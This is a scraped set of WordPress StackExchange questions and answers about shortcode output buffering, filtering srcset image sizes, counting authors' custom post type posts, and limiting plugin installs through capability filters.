[ { "answer_id": 291880, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 3, "selected": true, "text": "<p>You're using a mix of echoing and returning. </p>\n\n<p>Here you're starting by echoing:</p>\n\n<pre><code>echo '&lt;div class=\"clear\"&gt;&lt;/div&gt;';\n</code></pre>\n\n<p>Here you're putting the output into a variable (correctly):</p>\n\n<pre><code>$output = '&lt;div class=\"row\"&gt;';\n</code></pre>\n\n<p>And here you're just writing the content in quotes without echoing or assigning to a variable:</p>\n\n<pre><code>'&lt;div class=\"col-md-8 grid-entry-wrapper\"&gt; &lt;!-- grid-entry-wrapper open --&gt;\n &lt;!-- BLOG LOOP --&gt;\n&lt;/div&gt;&lt;!-- grid-entry-wrapper close --&gt;';\n</code></pre>\n\n<p>Shortcodes need to <code>return</code> the entirety of their output. So you either need to build up a variable like the second example all the way through, or use output buffering to 'capture' the output to return later.</p>\n\n<p>Here's an example of what you're doing but using output buffering:</p>\n\n<pre><code>function blog_loop_feat( $atts ) {\n $args = array();\n $splendid_query = new WP_Query( $args );\n ob_start();\n ?&gt;\n\n &lt;div class=\"clear\"&gt;&lt;/div&gt;\n\n &lt;div class=\"row\"&gt;\n &lt;?php while ( $splendid_query-&gt;have_posts() ) : $splendid_query-&gt;the_post(); ?&gt;\n &lt;div class=\"col-md-8 grid-entry-wrapper\"&gt; &lt;!-- grid-entry-wrapper open --&gt;\n &lt;!-- BLOG LOOP --&gt;\n &lt;/div&gt;&lt;!-- grid-entry-wrapper close --&gt;\n &lt;?php endwhile; wp_reset_query(); ?&gt;\n\n &lt;div class=\"col-md-4\"&gt;\n &lt;?php if ( ! function_exists('dynamic_sidebar') || ! dynamic_sidebar(\"Featured sidebar\") ) : endif; ?&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n\n &lt;?php\n return ob_get_clean();\n}\nadd_shortcode( 'blog_loop_feat', 'blog_loop_feat' );\n</code></pre>\n\n<p><code>ob_start()</code> starts capturing the output, and <code>ob_get_clean()</code> gets the captured output, which in this example is returned at the end of the function.</p>\n" }, { "answer_id": 292084, "author": "Dev", "author_id": 104464, "author_profile": "https://wordpress.stackexchange.com/users/104464", "pm_score": 0, "selected": false, "text": "<p>You could also use closing and opening PHP tags like this :</p>\n\n<pre><code>?&gt;\n'&lt;div class=\"col-md-8 grid-entry-wrapper\"&gt; &lt;!-- grid-entry-wrapper open --&gt;\n&lt;!-- BLOG LOOP --&gt;\n&lt;/div&gt;&lt;!-- grid-entry-wrapper close --&gt;';\n&lt;?php\n</code></pre>\n" } ]
2018/01/23
[ "https://wordpress.stackexchange.com/questions/291878", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/103078/" ]
EDIT: This shortcode is meant to be used and valid on any WP page. // Thanks Jacob for the note. I am trying to display a sidebar inside a shortcode. However, the result of the shortcode, jumps out from the wrapping element (div) in which I am trying to display it. The red rectangle in screenshots illustrates the problem. The shortcode source code: ``` <?php /*** Featured (1 post + sidebar) ***/ function blog_loop_feat( $atts ) { extract( shortcode_atts( array(), $atts ) ); echo '<div class="clear"></div>'; $args = array(); $splendid_query = new WP_Query( $args ); $output = '<div class="row">';// Row Open while ( $splendid_query->have_posts() ) : $splendid_query->the_post(); '<div class="col-md-8 grid-entry-wrapper"> <!-- grid-entry-wrapper open --> <!-- BLOG LOOP --> </div><!-- grid-entry-wrapper close -->'; endwhile; wp_reset_query(); $output .= '<div class="col-md-4">'; if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar("Featured sidebar") ) : endif; $output .= '</div></div>'; // Row Close return $output; } add_shortcode('blog_loop_feat', 'blog_loop_feat'); ``` And functions.php snippet: ``` if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' => 'Featured sidebar', 'before_widget' => '<div class = "widgetizedArea">', 'meta' => 'feat_widget', 'after_widget' => '</div>', 'before_title' => '<h3>', 'after_title' => '</h3>', ) ); ``` The HTML output: [![enter image description here](https://i.stack.imgur.com/msLKr.jpg)](https://i.stack.imgur.com/msLKr.jpg) Illustrations: [![enter image description here](https://i.stack.imgur.com/XCoTI.jpg)](https://i.stack.imgur.com/XCoTI.jpg) [![enter image description here](https://i.stack.imgur.com/3Mpvf.jpg)](https://i.stack.imgur.com/3Mpvf.jpg)
You're using a mix of echoing and returning. Here you're starting by echoing: ``` echo '<div class="clear"></div>'; ``` Here you're putting the output into a variable (correctly): ``` $output = '<div class="row">'; ``` And here you're just writing the content in quotes without echoing or assigning to a variable: ``` '<div class="col-md-8 grid-entry-wrapper"> <!-- grid-entry-wrapper open --> <!-- BLOG LOOP --> </div><!-- grid-entry-wrapper close -->'; ``` Shortcodes need to `return` the entirety of their output. So you either need to build up a variable like the second example all the way through, or use output buffering to 'capture' the output to return later. Here's an example of what you're doing but using output buffering: ``` function blog_loop_feat( $atts ) { $args = array(); $splendid_query = new WP_Query( $args ); ob_start(); ?> <div class="clear"></div> <div class="row"> <?php while ( $splendid_query->have_posts() ) : $splendid_query->the_post(); ?> <div class="col-md-8 grid-entry-wrapper"> <!-- grid-entry-wrapper open --> <!-- BLOG LOOP --> </div><!-- grid-entry-wrapper close --> <?php endwhile; wp_reset_query(); ?> <div class="col-md-4"> <?php if ( ! function_exists('dynamic_sidebar') || ! dynamic_sidebar("Featured sidebar") ) : endif; ?> </div> </div> <?php return ob_get_clean(); } add_shortcode( 'blog_loop_feat', 'blog_loop_feat' ); ``` `ob_start()` starts capturing the output, and `ob_get_clean()` gets the captured output, which in this example is returned at the end of the function.
291,895
<p>Wordpress srcset is a great feature but there are occasions when it's important to control exactly which image sizes are included in the srcset code.</p> <p>For example, on one of our sites we generate a custom image size which is ONLY intended for external use - this means an external sales portal collects this image automatically for display on their site. It is NOT intended for display anywhere on our site.</p> <p>However, the Wordpress srcset functionality currently includes ALL image sizes. For example:</p> <pre><code>&lt;img width="350" height="426" src="https://xxx/wp-content/uploads/omega-pink-gold-1235-1-350x426.jpg" class="attachment-shop_catalog size-shop_catalog" alt="xxx" srcset="https://xxx/.../omega-pink-gold-1235-1-350x426.jpg 350w, https://xxx/.../omega-pink-gold-1235-1-246x300.jpg 246w, https://xxx/.../omega-pink-gold-1235-1-768x935.jpg 768w, https://xxx/.../omega-pink-gold-1235-1-841x1024.jpg 841w, https://xxx/.../omega-pink-gold-1235-1-1051x1280.jpg 1051w, https://xxx/.../omega-pink-gold-1235-1-534x650.jpg 534w, https://xxx/.../omega-pink-gold-1235-1-104x127.jpg 104w, https://xxx/.../omega-pink-gold-1235-1-595x725.jpg 595w, https://xxx/.../omega-pink-gold-1235-1-680x828.jpg 680w" sizes="(max-width: 350px) 100vw, 350px" title="xxx"&gt; </code></pre> <p>How can we control this better?</p> <p>Thanks in advance for any help!</p>
[ { "answer_id": 291906, "author": "Andrew", "author_id": 50767, "author_profile": "https://wordpress.stackexchange.com/users/50767", "pm_score": -1, "selected": false, "text": "<p>WordPress adds scrset attributes via a filter attached the the <code>the_content</code> hook.</p>\n\n<p><code>add_filter( 'the_content', 'wp_make_content_images_responsive' );</code> line 141 of <code>wp-includes/default-filters.php</code>.</p>\n\n<p>You can remove this filter via the <a href=\"https://codex.wordpress.org/Function_Reference/remove_filter\" rel=\"nofollow noreferrer\"><code>remove_filter</code></a> function like so:</p>\n\n<p><code>remove_filter( 'the_content', 'wp_make_content_images_responsive' );</code></p>\n\n<p>The above will remove srcset attributes site-wide so you may want to look at using the <a href=\"https://wphierarchy.com/\" rel=\"nofollow noreferrer\">template hierarchy</a> or <a href=\"https://developer.wordpress.org/themes/basics/conditional-tags/\" rel=\"nofollow noreferrer\">conditional tags</a> to remove the filter only where needed.</p>\n" }, { "answer_id": 291952, "author": "iantsch", "author_id": 90220, "author_profile": "https://wordpress.stackexchange.com/users/90220", "pm_score": 3, "selected": true, "text": "<p>WordPress allows you to hook into <code>wp_calculate_image_srcset</code></p>\n\n<p><a href=\"https://core.trac.wordpress.org/browser/tags/4.9/src/wp-includes/media.php#L1203\" rel=\"nofollow noreferrer\">See Core file on Trac</a></p>\n\n<p>This filter gives you 5 arguments:</p>\n\n<ul>\n<li><strong>$sources</strong> One or more arrays of source data to include in the 'srcset'</li>\n<li><strong>$size_array</strong> Array of width and height values in pixels (in that order).</li>\n<li><strong>$image_src</strong> The 'src' of the image.</li>\n<li><strong>$image_meta</strong> The image meta data as returned by 'wp_get_attachment_metadata() </li>\n<li><strong>$attachment_id</strong> the post_id from the image</li>\n</ul>\n\n<p>Here is a sample code you can use within your themes <code>function.php</code> or plugin files to get started:</p>\n\n<pre><code>add_filter( 'wp_calculate_image_srcset', 'my_custom_image_srcset', 10, 5);\n\nfunction my_custom_image_srcset($sources, $size_array, $image_src, $image_meta, $attachment_id) {\n // The following code is an adaption from wp-includes/media.php:1061-1180\n $image_sizes = $image_meta['sizes'];\n\n // Get the width and height of the image.\n $image_width = (int) $size_array[0];\n $image_height = (int) $size_array[1];\n\n $image_basename = wp_basename( $image_meta['file'] );\n\n /*\n * WordPress flattens animated GIFs into one frame when generating intermediate sizes.\n * To avoid hiding animation in user content, if src is a full size GIF, a srcset attribute is not generated.\n * If src is an intermediate size GIF, the full size is excluded from srcset to keep a flattened GIF from becoming animated.\n */\n if ( ! isset( $image_sizes['thumbnail']['mime-type'] ) || 'image/gif' !== $image_sizes['thumbnail']['mime-type'] ) {\n $image_sizes[] = array(\n 'width' =&gt; $image_meta['width'],\n 'height' =&gt; $image_meta['height'],\n 'file' =&gt; $image_basename,\n );\n } elseif ( strpos( $image_src, $image_meta['file'] ) ) {\n return false;\n }\n\n // Retrieve the uploads sub-directory from the full size image.\n $dirname = _wp_get_attachment_relative_path( $image_meta['file'] );\n\n if ( $dirname ) {\n $dirname = trailingslashit( $dirname );\n }\n\n $upload_dir = wp_get_upload_dir();\n $image_baseurl = trailingslashit( $upload_dir['baseurl'] ) . $dirname;\n\n /*\n * If currently on HTTPS, prefer HTTPS URLs when we know they're supported by the domain\n * (which is to say, when they share the domain name of the current request).\n */\n if ( is_ssl() &amp;&amp; 'https' !== substr( $image_baseurl, 0, 5 ) &amp;&amp; parse_url( $image_baseurl, PHP_URL_HOST ) === $_SERVER['HTTP_HOST'] ) {\n $image_baseurl = set_url_scheme( $image_baseurl, 'https' );\n }\n\n /*\n * Images that have been edited in WordPress after being uploaded will\n * contain a unique hash. Look for that hash and use it later to filter\n * out images that are leftovers from previous versions.\n */\n $image_edited = preg_match( '/-e[0-9]{13}/', wp_basename( $image_src ), $image_edit_hash );\n\n /**\n * Filters the maximum image width to be included in a 'srcset' attribute.\n *\n * @since 4.4.0\n *\n * @param int $max_width The maximum image width to be included in the 'srcset'. Default '1600'.\n * @param array $size_array Array of width and height values in pixels (in that order).\n */\n $max_srcset_image_width = apply_filters( 'max_srcset_image_width', 1600, $size_array );\n\n // Array to hold URL candidates.\n $sources = array();\n\n /**\n * To make sure the ID matches our image src, we will check to see if any sizes in our attachment\n * meta match our $image_src. If no matches are found we don't return a srcset to avoid serving\n * an incorrect image. See #35045.\n */\n $src_matched = false;\n\n /*\n * Loop through available images. Only use images that are resized\n * versions of the same edit.\n */\n foreach ( $image_sizes as $identifier =&gt; $image ) {\n // Continue if identifier is unwanted\n if ($identifier === 'unwanted-identifier') {\n continue;\n }\n\n $is_src = false;\n\n // Check if image meta isn't corrupted.\n if ( ! is_array( $image ) ) {\n continue;\n }\n\n // If the file name is part of the `src`, we've confirmed a match.\n if ( ! $src_matched &amp;&amp; false !== strpos( $image_src, $dirname . $image['file'] ) ) {\n $src_matched = $is_src = true;\n }\n\n // Filter out images that are from previous edits.\n if ( $image_edited &amp;&amp; ! strpos( $image['file'], $image_edit_hash[0] ) ) {\n continue;\n }\n\n /*\n * Filters out images that are wider than '$max_srcset_image_width' unless\n * that file is in the 'src' attribute.\n */\n if ( $max_srcset_image_width &amp;&amp; $image['width'] &gt; $max_srcset_image_width &amp;&amp; ! $is_src ) {\n continue;\n }\n\n // If the image dimensions are within 1px of the expected size, use it.\n if ( wp_image_matches_ratio( $image_width, $image_height, $image['width'], $image['height'] ) ) {\n // Add the URL, descriptor, and value to the sources array to be returned.\n $source = array(\n 'url' =&gt; $image_baseurl . $image['file'],\n 'descriptor' =&gt; 'w',\n 'value' =&gt; $image['width'],\n );\n\n // The 'src' image has to be the first in the 'srcset', because of a bug in iOS8. See #35030.\n if ( $is_src ) {\n $sources = array( $image['width'] =&gt; $source ) + $sources;\n } else {\n $sources[ $image['width'] ] = $source;\n }\n }\n }\n return $sources;\n}\n</code></pre>\n" } ]
2018/01/23
[ "https://wordpress.stackexchange.com/questions/291895", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/84924/" ]
Wordpress srcset is a great feature but there are occasions when it's important to control exactly which image sizes are included in the srcset code. For example, on one of our sites we generate a custom image size which is ONLY intended for external use - this means an external sales portal collects this image automatically for display on their site. It is NOT intended for display anywhere on our site. However, the Wordpress srcset functionality currently includes ALL image sizes. For example: ``` <img width="350" height="426" src="https://xxx/wp-content/uploads/omega-pink-gold-1235-1-350x426.jpg" class="attachment-shop_catalog size-shop_catalog" alt="xxx" srcset="https://xxx/.../omega-pink-gold-1235-1-350x426.jpg 350w, https://xxx/.../omega-pink-gold-1235-1-246x300.jpg 246w, https://xxx/.../omega-pink-gold-1235-1-768x935.jpg 768w, https://xxx/.../omega-pink-gold-1235-1-841x1024.jpg 841w, https://xxx/.../omega-pink-gold-1235-1-1051x1280.jpg 1051w, https://xxx/.../omega-pink-gold-1235-1-534x650.jpg 534w, https://xxx/.../omega-pink-gold-1235-1-104x127.jpg 104w, https://xxx/.../omega-pink-gold-1235-1-595x725.jpg 595w, https://xxx/.../omega-pink-gold-1235-1-680x828.jpg 680w" sizes="(max-width: 350px) 100vw, 350px" title="xxx"> ``` How can we control this better? Thanks in advance for any help!
WordPress allows you to hook into `wp_calculate_image_srcset` [See Core file on Trac](https://core.trac.wordpress.org/browser/tags/4.9/src/wp-includes/media.php#L1203) This filter gives you 5 arguments: * **$sources** One or more arrays of source data to include in the 'srcset' * **$size\_array** Array of width and height values in pixels (in that order). * **$image\_src** The 'src' of the image. * **$image\_meta** The image meta data as returned by 'wp\_get\_attachment\_metadata() * **$attachment\_id** the post\_id from the image Here is a sample code you can use within your themes `function.php` or plugin files to get started: ``` add_filter( 'wp_calculate_image_srcset', 'my_custom_image_srcset', 10, 5); function my_custom_image_srcset($sources, $size_array, $image_src, $image_meta, $attachment_id) { // The following code is an adaption from wp-includes/media.php:1061-1180 $image_sizes = $image_meta['sizes']; // Get the width and height of the image. $image_width = (int) $size_array[0]; $image_height = (int) $size_array[1]; $image_basename = wp_basename( $image_meta['file'] ); /* * WordPress flattens animated GIFs into one frame when generating intermediate sizes. * To avoid hiding animation in user content, if src is a full size GIF, a srcset attribute is not generated. * If src is an intermediate size GIF, the full size is excluded from srcset to keep a flattened GIF from becoming animated. */ if ( ! isset( $image_sizes['thumbnail']['mime-type'] ) || 'image/gif' !== $image_sizes['thumbnail']['mime-type'] ) { $image_sizes[] = array( 'width' => $image_meta['width'], 'height' => $image_meta['height'], 'file' => $image_basename, ); } elseif ( strpos( $image_src, $image_meta['file'] ) ) { return false; } // Retrieve the uploads sub-directory from the full size image. $dirname = _wp_get_attachment_relative_path( $image_meta['file'] ); if ( $dirname ) { $dirname = trailingslashit( $dirname ); } $upload_dir = wp_get_upload_dir(); $image_baseurl = trailingslashit( $upload_dir['baseurl'] ) . $dirname; /* * If currently on HTTPS, prefer HTTPS URLs when we know they're supported by the domain * (which is to say, when they share the domain name of the current request). */ if ( is_ssl() && 'https' !== substr( $image_baseurl, 0, 5 ) && parse_url( $image_baseurl, PHP_URL_HOST ) === $_SERVER['HTTP_HOST'] ) { $image_baseurl = set_url_scheme( $image_baseurl, 'https' ); } /* * Images that have been edited in WordPress after being uploaded will * contain a unique hash. Look for that hash and use it later to filter * out images that are leftovers from previous versions. */ $image_edited = preg_match( '/-e[0-9]{13}/', wp_basename( $image_src ), $image_edit_hash ); /** * Filters the maximum image width to be included in a 'srcset' attribute. * * @since 4.4.0 * * @param int $max_width The maximum image width to be included in the 'srcset'. Default '1600'. * @param array $size_array Array of width and height values in pixels (in that order). */ $max_srcset_image_width = apply_filters( 'max_srcset_image_width', 1600, $size_array ); // Array to hold URL candidates. $sources = array(); /** * To make sure the ID matches our image src, we will check to see if any sizes in our attachment * meta match our $image_src. If no matches are found we don't return a srcset to avoid serving * an incorrect image. See #35045. */ $src_matched = false; /* * Loop through available images. Only use images that are resized * versions of the same edit. */ foreach ( $image_sizes as $identifier => $image ) { // Continue if identifier is unwanted if ($identifier === 'unwanted-identifier') { continue; } $is_src = false; // Check if image meta isn't corrupted. if ( ! is_array( $image ) ) { continue; } // If the file name is part of the `src`, we've confirmed a match. if ( ! $src_matched && false !== strpos( $image_src, $dirname . $image['file'] ) ) { $src_matched = $is_src = true; } // Filter out images that are from previous edits. if ( $image_edited && ! strpos( $image['file'], $image_edit_hash[0] ) ) { continue; } /* * Filters out images that are wider than '$max_srcset_image_width' unless * that file is in the 'src' attribute. */ if ( $max_srcset_image_width && $image['width'] > $max_srcset_image_width && ! $is_src ) { continue; } // If the image dimensions are within 1px of the expected size, use it. if ( wp_image_matches_ratio( $image_width, $image_height, $image['width'], $image['height'] ) ) { // Add the URL, descriptor, and value to the sources array to be returned. $source = array( 'url' => $image_baseurl . $image['file'], 'descriptor' => 'w', 'value' => $image['width'], ); // The 'src' image has to be the first in the 'srcset', because of a bug in iOS8. See #35030. if ( $is_src ) { $sources = array( $image['width'] => $source ) + $sources; } else { $sources[ $image['width'] ] = $source; } } } return $sources; } ```
291,930
<p>I need to get the author information, who having maximum number of post(custom post type).</p> <p>Here is the code I tried to get the result.</p> <pre><code> $author_query = new WP_User_Query(array ( 'orderby' =&gt; 'post_count', 'order' =&gt; 'DESC', )); $authors = $author_query-&gt;get_results(); foreach ( $authors as $author ) { echo $author-&gt;ID; echo $author-&gt;display_name; } </code></pre> <p>The result is getting as post-count of normal posts. Here I have custom post type instead of default post. I need to get the result based on my custom post type's post count..</p>
[ { "answer_id": 291940, "author": "Philip Downer", "author_id": 947, "author_profile": "https://wordpress.stackexchange.com/users/947", "pm_score": 1, "selected": false, "text": "<p>Because the post_count attribute in the users table includes the total number of posts for the user and is not divided by post type in any way, I think that the only way would be for you to issue a custom SQL query.</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>&lt;?php\n//Get 10 most popular authors for post type\n$topAuthors = $wpdb-&gt;get_results(\n\"\nSELECT post_author\nFROM $wpdb-&gt;posts WHERE post_type = 'topic'\nGROUP BY post_author\nORDER BY COUNT(*) DESC\nLIMIT 0,10\n\"\n, OBJECT_K);\n</code></pre>\n\n<p>You can modify the order and limit attributes to the SQL query to hone in on exactly what you need.</p>\n\n<p>Once you have the author ID's based on your criteria you can then query further using the <code>include</code> argument.</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>&lt;?php\n$authors = new WP_User_Query(array(\n 'include' =&gt; array_keys($topAuthors)\n));\nforeach( $authors-&gt;get_results() as $author ) {\n echo $author-&gt;ID;\n echo $author-&gt;user_login;\n}\n</code></pre>\n" }, { "answer_id": 291955, "author": "brianjohnhanna", "author_id": 65403, "author_profile": "https://wordpress.stackexchange.com/users/65403", "pm_score": 0, "selected": false, "text": "<p>There is actually a <a href=\"https://codex.wordpress.org/Class_Reference/WP_User_Query#Has_Published_Posts_Parameter\" rel=\"nofollow noreferrer\">documented query parameter</a> called <code>has_published_posts</code> which accepts an array of post types for <code>WP_User_Query</code>.</p>\n\n<blockquote>\n <p><code>has_published_posts</code> <em>(boolean / array)</em> - Pass an array of post types to\n filter results to users who have published posts in those post types.\n true is an alias for all public post types. Default is null. Since\n Version 4.3.</p>\n</blockquote>\n\n<p>You should, therefore, just be able to run</p>\n\n<pre><code>$author_query = new WP_User_Query(array( \n 'orderby' =&gt; 'post_count', \n 'order' =&gt; 'DESC', \n 'has_published_posts' =&gt; array('custom_post_type')\n));\n</code></pre>\n" }, { "answer_id": 292003, "author": "Jomol MJ", "author_id": 107640, "author_profile": "https://wordpress.stackexchange.com/users/107640", "pm_score": 3, "selected": true, "text": "<p>You can try with the following query, where the author data as well as the post count can be retrieved.</p>\n\n<pre><code>$sql = \"SELECT SQL_CALC_FOUND_ROWS wp_users.ID,post_count FROM wp_users RIGHT JOIN (SELECT post_author, COUNT(*) as post_count FROM wp_posts WHERE ( ( post_type = 'custom-post-type' AND ( post_status = 'publish' ) ) ) GROUP BY post_author) p ON (wp_users.ID = p.post_author) WHERE 1=1 ORDER BY post_count DESC\";\n\n$result = $wpdb-&gt;get_results($sql,OBJECT);\nprint_r($result); \n</code></pre>\n" } ]
2018/01/23
[ "https://wordpress.stackexchange.com/questions/291930", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/99307/" ]
I need to get the author information, who having maximum number of post(custom post type). Here is the code I tried to get the result. ``` $author_query = new WP_User_Query(array ( 'orderby' => 'post_count', 'order' => 'DESC', )); $authors = $author_query->get_results(); foreach ( $authors as $author ) { echo $author->ID; echo $author->display_name; } ``` The result is getting as post-count of normal posts. Here I have custom post type instead of default post. I need to get the result based on my custom post type's post count..
You can try with the following query, where the author data as well as the post count can be retrieved. ``` $sql = "SELECT SQL_CALC_FOUND_ROWS wp_users.ID,post_count FROM wp_users RIGHT JOIN (SELECT post_author, COUNT(*) as post_count FROM wp_posts WHERE ( ( post_type = 'custom-post-type' AND ( post_status = 'publish' ) ) ) GROUP BY post_author) p ON (wp_users.ID = p.post_author) WHERE 1=1 ORDER BY post_count DESC"; $result = $wpdb->get_results($sql,OBJECT); print_r($result); ```
291,931
<p>I need to add a string in front of the following php code, what Is the best method of doing this?</p> <pre><code>&lt;?php echo human_time_diff( get_the_time('U') ) . __(' ago', 'yourlanguageslug'); ?&gt;&lt;br/&gt; </code></pre>
[ { "answer_id": 291940, "author": "Philip Downer", "author_id": 947, "author_profile": "https://wordpress.stackexchange.com/users/947", "pm_score": 1, "selected": false, "text": "<p>Because the post_count attribute in the users table includes the total number of posts for the user and is not divided by post type in any way, I think that the only way would be for you to issue a custom SQL query.</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>&lt;?php\n//Get 10 most popular authors for post type\n$topAuthors = $wpdb-&gt;get_results(\n\"\nSELECT post_author\nFROM $wpdb-&gt;posts WHERE post_type = 'topic'\nGROUP BY post_author\nORDER BY COUNT(*) DESC\nLIMIT 0,10\n\"\n, OBJECT_K);\n</code></pre>\n\n<p>You can modify the order and limit attributes to the SQL query to hone in on exactly what you need.</p>\n\n<p>Once you have the author ID's based on your criteria you can then query further using the <code>include</code> argument.</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>&lt;?php\n$authors = new WP_User_Query(array(\n 'include' =&gt; array_keys($topAuthors)\n));\nforeach( $authors-&gt;get_results() as $author ) {\n echo $author-&gt;ID;\n echo $author-&gt;user_login;\n}\n</code></pre>\n" }, { "answer_id": 291955, "author": "brianjohnhanna", "author_id": 65403, "author_profile": "https://wordpress.stackexchange.com/users/65403", "pm_score": 0, "selected": false, "text": "<p>There is actually a <a href=\"https://codex.wordpress.org/Class_Reference/WP_User_Query#Has_Published_Posts_Parameter\" rel=\"nofollow noreferrer\">documented query parameter</a> called <code>has_published_posts</code> which accepts an array of post types for <code>WP_User_Query</code>.</p>\n\n<blockquote>\n <p><code>has_published_posts</code> <em>(boolean / array)</em> - Pass an array of post types to\n filter results to users who have published posts in those post types.\n true is an alias for all public post types. Default is null. Since\n Version 4.3.</p>\n</blockquote>\n\n<p>You should, therefore, just be able to run</p>\n\n<pre><code>$author_query = new WP_User_Query(array( \n 'orderby' =&gt; 'post_count', \n 'order' =&gt; 'DESC', \n 'has_published_posts' =&gt; array('custom_post_type')\n));\n</code></pre>\n" }, { "answer_id": 292003, "author": "Jomol MJ", "author_id": 107640, "author_profile": "https://wordpress.stackexchange.com/users/107640", "pm_score": 3, "selected": true, "text": "<p>You can try with the following query, where the author data as well as the post count can be retrieved.</p>\n\n<pre><code>$sql = \"SELECT SQL_CALC_FOUND_ROWS wp_users.ID,post_count FROM wp_users RIGHT JOIN (SELECT post_author, COUNT(*) as post_count FROM wp_posts WHERE ( ( post_type = 'custom-post-type' AND ( post_status = 'publish' ) ) ) GROUP BY post_author) p ON (wp_users.ID = p.post_author) WHERE 1=1 ORDER BY post_count DESC\";\n\n$result = $wpdb-&gt;get_results($sql,OBJECT);\nprint_r($result); \n</code></pre>\n" } ]
2018/01/23
[ "https://wordpress.stackexchange.com/questions/291931", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/135332/" ]
I need to add a string in front of the following php code, what Is the best method of doing this? ``` <?php echo human_time_diff( get_the_time('U') ) . __(' ago', 'yourlanguageslug'); ?><br/> ```
You can try with the following query, where the author data as well as the post count can be retrieved. ``` $sql = "SELECT SQL_CALC_FOUND_ROWS wp_users.ID,post_count FROM wp_users RIGHT JOIN (SELECT post_author, COUNT(*) as post_count FROM wp_posts WHERE ( ( post_type = 'custom-post-type' AND ( post_status = 'publish' ) ) ) GROUP BY post_author) p ON (wp_users.ID = p.post_author) WHERE 1=1 ORDER BY post_count DESC"; $result = $wpdb->get_results($sql,OBJECT); print_r($result); ```
291,964
<p>I know that is not the number of plugins, it's the quality. But anyway, I want to limit the number of plugins that can be installed on a WordPress installation. Any ideas?</p> <p>It doesn't matter if the limit applies to all admins including me.</p>
[ { "answer_id": 291977, "author": "iantsch", "author_id": 90220, "author_profile": "https://wordpress.stackexchange.com/users/90220", "pm_score": 1, "selected": false, "text": "<p>There are a few possible solutions you can investigate further to limit the possibility to install plugins. </p>\n\n<ol>\n<li><p>WordPress will check if the current user can install plugins with <code>current_user_can('install_plugins')</code> before rendering the <strong>Add New</strong> button. If you create a mu-plugin that will check for the installed number of plugins, you can remove the capability for admins and limit the possibility to install more plugins.</p></li>\n<li><p>Check with an enqueued JS script the number of plugins and hide/remove the button. This is just cosmetic, if the user knows the route to the installer, plugins can still be installed.</p></li>\n</ol>\n\n<p>Learn more about <a href=\"https://codex.wordpress.org/Must_Use_Plugins\" rel=\"nofollow noreferrer\">must use plugins</a></p>\n" }, { "answer_id": 292004, "author": "Ben HartLenn", "author_id": 6645, "author_profile": "https://wordpress.stackexchange.com/users/6645", "pm_score": 1, "selected": false, "text": "<p>Here's how you can check the number of plugins installed, and add/remove the install_plugins capability for administrators depending on the maximum number of plugins you set. As @iantsch mentioned, it sounds like a must use plugin would be the best place for this. That would prevent other people from messing with the plugin from the dashboard, and it would always be on this way. Also it won't be included in the count of installed plugins in my code below. You could just add this to your themes functions.php file, but then the code is theme specific, not installation specific.</p>\n\n<pre><code>add_action( 'admin_init', 'yourprefix_limit_plugin_installations' );\nfunction yourprefix_limit_plugin_installations() {\n\n // get administrator role object\n $admin_role = get_role( 'administrator' );\n\n // check if administrator role object exists... \n if( $admin_role !== null ) {\n\n // ...get number of \"installed\" plugins(i.e. deactivated or activated) in your wp-content/plugins folder\n $number_of_plugins_installed = count( get_plugins() );\n\n // ...set number of installed plugins you want to have as a maximum\n $maximum_number_of_plugins = 29; // take your pick, 29 was just how many I had in my testing environment\n\n // ...if the number of plugins installed is equal to or more than $maximum_number_of_plugins integer...\n if( $number_of_plugins_installed &gt;= $maximum_number_of_plugins ) {\n\n // ...remove install_plugins capability from all administrators\n $admin_role-&gt;remove_cap( 'install_plugins' );\n }\n // ...else there are less plugins installed than set in $maximum_number_of_plugins...\n else {\n\n // ...so ensure all administrator users have the install_plugins capability(which is a default WordPress setting)\n $admin_role-&gt;add_cap( 'install_plugins' );\n }\n }\n}\n</code></pre>\n" }, { "answer_id": 292037, "author": "swissspidy", "author_id": 12404, "author_profile": "https://wordpress.stackexchange.com/users/12404", "pm_score": 2, "selected": false, "text": "<p>The most performant way to do this is probably by hooking into <a href=\"https://developer.wordpress.org/reference/hooks/map_meta_cap/\" rel=\"nofollow noreferrer\"><code>map_meta_cap</code></a> to conditionally disallow the <code>install_plugins</code> capability. There are no database calls involved with that.</p>\n\n<p>Here's an (untested) example:</p>\n\n<pre><code>add_filter( 'map_meta_cap', 'wpse291964_limit_plugins', 10, 2 );\n\nfunction wpse291964_limit_plugins( $caps, $cap ) {\n if ( 'install_plugins' === $cap ) {\n $plugins = get_plugins();\n\n // Only allow 10 plugins to be installed.\n if ( count( $plugins ) &gt; 10 ) {\n $caps[] = 'do_not_allow';\n }\n }\n\n return $caps;\n}\n</code></pre>\n\n<p>I recommend you to <a href=\"https://wordpress.tv/2017/04/14/john-blackbourn-deep-dive-user-roles-capabilities-api/\" rel=\"nofollow noreferrer\">watch this video</a> by John Blackbourn to learn more about <code>map_meta_cap</code> and friends.</p>\n" } ]
2018/01/23
[ "https://wordpress.stackexchange.com/questions/291964", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/25552/" ]
I know that is not the number of plugins, it's the quality. But anyway, I want to limit the number of plugins that can be installed on a WordPress installation. Any ideas? It doesn't matter if the limit applies to all admins including me.
The most performant way to do this is probably by hooking into [`map_meta_cap`](https://developer.wordpress.org/reference/hooks/map_meta_cap/) to conditionally disallow the `install_plugins` capability. There are no database calls involved with that. Here's an (untested) example: ``` add_filter( 'map_meta_cap', 'wpse291964_limit_plugins', 10, 2 ); function wpse291964_limit_plugins( $caps, $cap ) { if ( 'install_plugins' === $cap ) { $plugins = get_plugins(); // Only allow 10 plugins to be installed. if ( count( $plugins ) > 10 ) { $caps[] = 'do_not_allow'; } } return $caps; } ``` I recommend you to [watch this video](https://wordpress.tv/2017/04/14/john-blackbourn-deep-dive-user-roles-capabilities-api/) by John Blackbourn to learn more about `map_meta_cap` and friends.
291,970
